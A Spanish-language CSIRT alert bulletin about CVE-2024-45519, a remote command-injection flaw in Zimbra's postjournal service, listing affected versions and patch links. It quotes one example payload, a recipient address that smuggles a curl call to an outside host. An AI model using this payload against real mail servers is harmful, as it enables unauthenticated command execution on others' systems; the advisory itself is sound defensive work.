BEACON LAB
C S I R T

CYBOLT
Security Innovation

Boletín de Alerta

Boletín Nro.: 2024-41
Fecha de publicación: 25/09/2024
Actualización: 2/10/2024
Tema: Vulnerabilidad en RCE en Zimbra
Traffic Light Protocol (TLP): White

Producto(s) afectado:

- Zimbra Collaboration: 8.8.15 - 10.1.0

Descripción

Se ha reportado una vulnerabilidad de tipo RCE en el sevidor de correos Zimbra, denominada como CVE-2024-45519, sin score asignado aún. Esta vulnerabilidad permite que un atacante remoto ejecute comandos arbitrarios de shell en el sistema objetivo.

El equipo de Proofpoint comentó que el problema tiene su raíz en la forma en que el binario postjournal basado en C maneja y analiza las direcciones de correo electrónico de los destinatarios en una función llamada "msg_handler()", lo que permite la inyección de comandos en el servicio que se ejecuta en el puerto 10027 al pasar un mensaje SMTP especialmente diseñado con una dirección falsa (por ejemplo, "aabbb$(curl${IFS}oast.me)"@mail.domain.com).

Un atacante no autenticado puede enviar datos específicamente diseñados a la aplicación y ejecutar comandos del sistema operativo en el sistema vulnerable.

Actualmente existe un PoC disponible que puede acelerar la creación de exploits que afecten esta vulnerabilidad. Recomendamos aplicar los parches de seguridad los mas pronto posible.

Solución

Se recomienda a los usuarios instalar las actualizaciones disponibles en el sitio web del proveedor. Estas actualizaciones corrigen la vulnerabilidad, evitando que los atacantes puedan aprovecharla. En el siguiente enlace pueden encontrar información de los parches de seguridad:

- https://wiki.zimbra.com/wiki/Security_Center
- http://wiki.zimbra.com/wiki/Security_Center#ZCS_9.0.0_Patch_41_Released
- http://wiki.zimbra.com/wiki/Security_Center#ZCS_8.8.15_Patch_46_Released
- http://wiki.zimbra.com/wiki/Security_Center#ZCS_10.0.9_Released
- http://wiki.zimbra.com/wiki/Security_Center#ZCS_10.1.1_Released

Información adicional:

- https://thehackernews.com/2024/10/researchers-sound-alarm-on-active.html
- https://www.helpnetsecurity.com/2024/10/02/cve-2024-45519-exploited/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-45519
- https://www.darkreading.com/cyberattacks-data-breaches/recent-zimbra-rce-under-attack-patch-now

BEACON LAB

C S I R T

CYBOLT

Security Innovation

info@beaconlab.mx

beaconlab.mx

contact@cybolt.com

cybolt.com